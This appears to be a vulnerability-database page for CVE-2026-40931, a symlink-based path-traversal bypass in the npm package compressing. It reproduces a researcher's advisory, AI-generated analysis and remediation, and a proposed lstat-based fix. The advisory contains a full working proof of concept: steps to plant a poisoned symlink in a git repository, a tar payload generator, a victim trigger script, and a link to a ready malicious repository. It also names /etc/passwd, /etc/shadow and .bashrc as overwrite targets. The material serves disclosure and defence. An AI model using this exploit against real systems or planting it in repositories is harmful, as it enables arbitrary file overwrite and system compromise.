Node.js CVE-2026-40931
HIGHSeverity by source
AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Lifecycle Timeline
5Blast Radius
ecosystem impact- 2 npm packages depend on compressing (2 direct, 0 indirect)
Ecosystem-wide dependent count for version 2.0.0.
DescriptionGitHub Advisory
1. Executive Summary This report documents a critical security research finding in the compressing npm package (specifically tested on the latest v2.1.0). The core vulnerability is a Partial Fix Bypass of CVE-2026-24884.
The current patch relies on a purely logical string validation within the isPathWithinParent utility. This check verifies if a resolved path string starts with the destination directory string but fails to account for the actual filesystem state. By exploiting this "Logical vs. Physical" divergence, we successfully bypassed the security check using a Directory Poisoning technique (pre-existing symbolic links).
Key Findings:
- Vulnerable Component:
lib/utils.js->isPathWithinParent() - Flaw Type: Incomplete validation (lack of recursive
lstatchecks). - Primary Attack Vector: Supply Chain via Git Clone The attack requires zero victim interaction beyond standard developer workflow (
git clone+node app.js). Git natively preserves symlinks during clone, automatically deploying the malicious symlink to victim's machine without any additional attacker access. - Result: Successfully achieved arbitrary file writes outside the intended extraction root on the latest library version.
2. Deep-Dive: Technical Root Cause Analysis The vulnerability exists because of a fundamental disconnect between how the library validates a path and how the Operating System executes a write to that path.
- 1. Logical Abstraction (The "String" World)
The developer uses path.resolve(childPath) to sanitize input. In Node.js, path.resolve is a literal string manipulator. It calculates an absolute path by processing .. and . segments relative to each other.
- The Limitation:
path.resolvedoes NOT look at the disk. It does not know if a folder namedconfigis a real folder or a symbolic link. - The Result: If the extraction target is
/app/outand the entry is config/passwd,path.resolvereturns/app/out/config/passwd. Since this string starts with/app/out/, the security check returns TRUE. - 2. Physical Reality (The "Filesystem" World)
When the library proceeds to write the file using fs.writeFile('/app/out/config/passwd', data), the execution is handed over to the Operating System's filesystem kernel.
- The Redirection: If the attacker has pre-created a symbolic link on the disk at
/app/out/configpointing to/etc, the OS kernel sees the write request and follows the link. - The Divergence: The OS resolves the path to
/etc/passwd. The "Security Guard" (the library) thought it was writing to a local config folder, but the "Executioner" (the OS) followed the link into a sensitive system area. - 3. Visual Logic Flow
<img width="6582" height="3095" alt="Malicious Archive Exploit-2026-04-12-135626" src="https://github.com/user-attachments/assets/7c8235c3-f717-4296-b8e7-d6d498285fb2" />
- 4. Comparison with Industry Standards (
node-tar)
A secure implementation (like node-tar) uses an "Atomic Check" strategy. Instead of trusting a string path, it iterates through every directory segment and calls fs.lstatSync(). If any segment is found to be a symbolic link, the extraction is halted immediately before any write operation is attempted. compressing lacks this critical recursive verification step.
- 5. Git Clone as a Delivery Mechanism: Git treats symlinks as first-class objects and restores them faithfully during clone. This means an attacker-controlled repository becomes a reliable delivery mechanism - the symlink is "pre-planted" automatically by git itself, removing any prerequisite of prior system access.
3. Comprehensive Attack Vector & Proof of Concept
PoC Overview: The Git Clone Vector This exploit leverages the fact that Git natively preserves symbolic links. By cloning a malicious repository, a victim unknowingly plants a "poisoned path" on their local disk. Why this is critical:
- No social engineering required beyond a standard git clone.
- The symlink is "pre-planted" by Git itself, removing the need for prior system access.
- Victim's workflow remains indistinguishable from legitimate activity.
Step 1: Environment Preparation (Victim System) >TIP Prerequisite: Ensure you have Node.js and npm installed on your Kali Linux. If you encounter a MODULE_NOT_FOUND error for tar-stream or compressing, run: npm install compressing@2.1.0 tar-stream` in your current working directory.
Create a mock sensitive file to demonstrate the overwrite without damaging the actual OS.
# Workspace setup
mkdir -p ~/poc-workspace
cd ~/poc-workspace
# 1. Create a fake sensitive file
mkdir -p /tmp/fake_root/etc
echo "root:SAFE_DATA_DO_NOT_OVERWRITE" > /tmp/fake_root/etc/passwd
# 2. Install latest vulnerable library
npm install compressing@2.1.0 tar-streamStep 2: Attacker Side (Repo & Payload)
2.1 Create the poisoned GitHub Repository
- Create a repo named
compressing_poc_teston GitHub. - On your local machine, setup the malicious content:
mkdir compressing_poc_test
cd compressing_poc_test
git init
# CREATE THE TRAP: A symlink pointing to the sensitive target
ln -s /tmp/fake_root/etc/passwd config_file
# Setup Git
git branch -M main
git remote add origin https://github.com/USERNAME/compressing_poc_test.git2.2 Generate the Malicious Payload Create a script gen_payload.js inside the parent folder (~/poc-workspace) to generate the exploit file:
const tar = require('tar-stream');
const fs = require('fs');
const pack = tar.pack();
// PAYLOAD: A plain file that matches the symlink name
pack.entry({ name: 'config_file' }, 'root:PWNED_BY_THE_SUPPLY_CHAIN_ATTACK_V2.1.0\n');
pack.finalize();
pack.pipe(fs.createWriteStream('./payload.tar'));
console.log('payload.tar generated successfully!');Run the script to create the payload:
node gen_payload.js_This will create a payload.tar file in your current directory._
2.3 Push Bait & Payload to GitHub Now, move the generated payload into your repo folder and push everything to GitHub:
# Move the payload into the repo folder
mv ../payload.tar .
# Add all files (config_file symlink and payload.tar)
git add .
git commit -m "Add project updates and resource assets"
git push -u origin main> For your convenience and easy reproduction, I have already created a malicious repository to simulate the attacker's setup. You can clone it directly without needing to create a new one: https://github.com/sachinpatilpsp/compressing_poc_test.git
Step 3: Victim Side (The Compromise) The victim clones the repo and runs an application that extracts the included payload.tar.
# 1. Simulate a developer cloning the repo
cd ~/poc-workspace
# In a real attack, the victim clones from your GitHub URL
git clone https://github.com/USERNAME/compressing_poc_test.git victim_app
cd victim_app
# 2. Create the Trigger script (victim_app.js)
cat <<EOF > victim_app.js
const compressing = require('compressing');
async function extractUpdate() {
console.log('--- Victim: Extracting Update Package ---');
try {
// This triggers the bypass because 'config_file' already exists as a symlink
await compressing.tar.uncompress('./payload.tar', './');
console.log('[+] Update Successful!');
} catch (err) {
console.error('[-] Error:', err);
}
}
extractUpdate();
EOF
# 3. VERIFY THE OVERWRITE
echo "--- Before Exploit ---"
cat /tmp/fake_root/etc/passwd
# 4. Run the victim_app.js
node victim_app.js
# 5. After Exploit Run
echo "--- After Exploit ---"
cat /tmp/fake_root/etc/passwdWhy this bypass works
- The Library's Logic:
compressingusespath.resolveon entry names and compares them string-wise with the destination directory. - The Gap: Because
path.resolvedoes not check if intermediate directories are symlinks on disk, it treatsconfig_file(the symlink) as a normal path inside the allowed directory. - The Result: The underlying
fs.writeFilefollows the existing symlink to the protected target (/tmp/fake_root/etc/passwd), bypassing all string-based security checks.
<img width="733" height="126" alt="01_malicious_symlink_proof" src="https://github.com/user-attachments/assets/a24b5844-8efd-4f5c-8ee6-9cbbffee6ceb" />
<img width="780" height="111" alt="02_malicious_payload_content" src="https://github.com/user-attachments/assets/a20ef72b-35c9-4355-8583-08a3e9467d4a" />
<img width="888" height="111" alt="03_vulnerable_version_proof" src="https://github.com/user-attachments/assets/5e6864ce-fe48-4327-be2f-1bea8e8ba800" />
<img width="921" height="294" alt="04_exploit_success_verification" src="https://github.com/user-attachments/assets/3b4bc21e-55de-42b2-b819-8d7c0e90b055" />
4. Impact Assessment
What kind of vulnerability is it? This is an Arbitrary File Overwrite vulnerability caused by a Symlink Path Traversal bypass. Specifically, it is a "Partial Fix" bypass where a security patch meant to prevent directory traversal only validates path strings but ignores the filesystem state (symlinks).
Who is impacted? 1. Developers & Organizations: Any user of the compressing library (up to v2.1.0) who extracts untrusted archives into a working directory.
2. Supply Chain via Git Clone (Primary Vector): Git natively restores symlinks during git clone. An attacker who controls or compromises any upstream repository can embed malicious symlinks. The victim's only required action is standard developer workflow clone and run. No social engineering or extra steps needed beyond trusting a repository.
3. Privileged Environments: Systems where the extraction process runs as a high-privilege user (root/admin), as it allows for the overwriting of sensitive system files like /etc/passwd or /etc/shadow.
Impact Details
- Privilege Escalation: Gaining root access by overwriting system configuration files.
- Remote Code Execution (RCE): Overwriting executable binaries or startup scripts (.bashrc, .profile) to run malicious code upon the next boot or login.
- Data Corruption: Permanent loss or modification of application data and database files.
- Reputational Damage to Library: Loss of trust in the compressing library's security architecture due to an incomplete patch for a known CVE.
5. Technical Remediation & Proposed Fix To completely fix this vulnerability, the library must transition from String-based validation to State-aware validation.
1. The Vulnerable Code (Current Incomplete Patch) The current logic in lib/utils.js only checks the path string:
// [VULNERABLE] Does not check if disk segments are symlinks
function isPathWithinParent(childPath, parentPath) {
const normalizedChild = path.resolve(childPath);
const normalizedParent = path.resolve(parentPath);
// ... (omitted startsWith check)
return normalizedChild.startsWith(parentWithSep);
}2. The Proposed Fix (Complete Mitigation) The library must recursively check every component of the path on the disk using fs.lstatSync to ensure no component is a symbolic link that redirects to a location outside the root.
const fs = require('fs');
const path = require('path');
/**
* SECURE VALIDATION: Checks every segment of the path on disk
* to prevent symlink-based directory poisoning.
*/
function secureIsPathWithinParent(childPath, parentPath) {
const absoluteDest = path.resolve(parentPath);
const absoluteChild = path.resolve(childPath);
// Basic string check first
if (!absoluteChild.startsWith(absoluteDest + path.sep) &&
absoluteChild !== absoluteDest) {
return false;
}
// RECURSIVE DISK CHECK
// Iteratively check every directory segment from the root to the file
let currentPath = absoluteDest;
const relativeParts = path.relative(absoluteDest, absoluteChild).split(path.sep);
for (const part of relativeParts) {
if (!part || part === '.') continue;
currentPath = path.join(currentPath, part);
try {
const stats = fs.lstatSync(currentPath);
// IF ANY COMPONENT IS A SYMLINK, REJECT IT
if (stats.isSymbolicLink()) {
throw new Error(`Security Exception: Symlink detected at ${currentPath}`);
}
} catch (err) {
if (err.code === 'ENOENT') break; // Path doesn't exist yet, which is fine
throw err;
}
}
return true;
}3. Why and How it works:
- Filesystem Awareness: Unlike the previous fix, this code uses
fs.lstatSync. It doesn't trust the string; it asks the Operating System, "What is actually at this location?". - Segmented Verification: By splitting the path and checking each part (
config, thenconfig/file), it catches the "Poisoned Directory" (config -> /etc) before the final write happens. - Bypass Prevention: Even if the string check passes, the loop will detect the symlink at the
configsegment and throw a security exception, stopping thefs.writeFilebefore it can follow the link to/etc/passwd. - Atomic Security: This implementation ensures that the logical path and the physical path are identical, leaving no room for "Divergence" exploits.
> Note: For production, it is recommended to use the asynchronous fs.promises.lstat to prevent blocking the Node.js event loop during recursive checks.
Articles & Coverage 1
AnalysisAI
Symlink-based path traversal in the npm package 'compressing' v2.1.0 enables arbitrary file overwrites outside intended extraction directories via pre-planted symbolic links delivered through Git repositories. Attackers exploit a partial fix bypass of CVE-2026-24884 by poisoning filesystem state before archive extraction-Git clone operations automatically deploy malicious symlinks without user interaction beyond standard developer workflows. This supply chain vector allows overwriting critical system files (e.g., /etc/passwd) or application binaries to achieve privilege escalation or remote code execution. CVSS 8.4 (AV:L) reflects local attack vector, but real-world risk is amplified by Git-based delivery requiring zero privileges and no user interaction beyond cloning a malicious repository. No EPSS or KEV data available at time of analysis.
Technical ContextAI
The vulnerability resides in the 'isPathWithinParent()' utility function within lib/utils.js of the compressing npm package (tested v2.1.0). This function uses Node.js path.resolve() for path sanitization-a purely string-based operation that calculates absolute paths by processing '..' and '.' segments without consulting the actual filesystem. The flaw represents CWE-59 (Improper Link Resolution Before File Access, 'Link Following'). When path.resolve() evaluates 'config/passwd' within '/app/out', it returns '/app/out/config/passwd' and validates this string starts with the destination directory. However, if 'config' is a pre-existing symbolic link on disk pointing to '/etc', the subsequent fs.writeFile() call follows the OS-level symlink resolution, writing to '/etc/passwd' instead. The fix for CVE-2026-24884 implemented logical string validation but failed to incorporate filesystem-aware checks using fs.lstatSync() to detect symbolic links in the path hierarchy before write operations. Industry-standard implementations like node-tar use recursive lstat checks on each path component to prevent this logical-versus-physical divergence. The affected products are identified via CPE as pkg:npm/compressing without specific version ranges in the provided data, though the researcher confirmed testing on v2.1.0.
RemediationAI
Upgrade to a patched version of the compressing npm package once released-monitor the GitHub Advisory GHSA-4c3q-x735-j3r5 at https://github.com/node-modules/compressing/security/advisories/GHSA-4c3q-x735-j3r5 for vendor patch announcements. No fixed version is identified in available data at time of analysis. If immediate upgrade is not feasible, implement the following compensating controls with associated trade-offs: (1) Pre-extraction validation-before calling compressing.tar.uncompress(), recursively scan the extraction target directory using fs.lstatSync() on each path component and reject extraction if any symbolic links are detected (adds processing overhead proportional to directory depth; may break legitimate workflows using symlinks intentionally). (2) Filesystem isolation-extract archives into dedicated ephemeral containers or chroot jails with no symbolic links to sensitive system paths (requires container infrastructure; increases deployment complexity). (3) Extraction user downgrade-run extraction processes under dedicated low-privilege service accounts with no write permissions to system directories (limits damage radius but does not prevent application-level data corruption). (4) Input validation-reject archives from untrusted sources or implement cryptographic signing verification for all archive sources before extraction (requires PKI infrastructure; shifts trust boundary to signing key management). (5) Replace library-substitute compressing with hardened alternatives like node-tar which implements recursive lstat checks (requires code refactoring and testing; node-tar may have different API surface). The researcher-provided secure implementation using fs.lstatSync in a recursive loop through path components offers a reference for vendors or teams needing to patch internally. This fix prevents symlink exploitation by verifying each directory segment on disk before write operations, ensuring logical and physical paths align. Monitor npm audit and GitHub security advisories for official patches.
A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could
FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote
Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t
Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete
Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc
An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner
Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi
Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin
The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic
Directory traversal vulnerability in lib/app/index.js in Geddy before 13.0.8 for Node.js allows remote attackers to read
Credential-harvesting malware compromised 84 versions of 42 TanStack npm packages on 2026-05-11 via chained GitHub Actio
Eval injection vulnerability in index.js in the syntax-error package before 1.1.1 for Node.js 0.10.x, as used in IBM Rat
Same weakness CWE-59 – Improper Link Resolution Before File Access
View allSame technique Privilege Escalation
View allShare
External POC / Exploit Code
Leaving vuln.today
GHSA-4c3q-x735-j3r5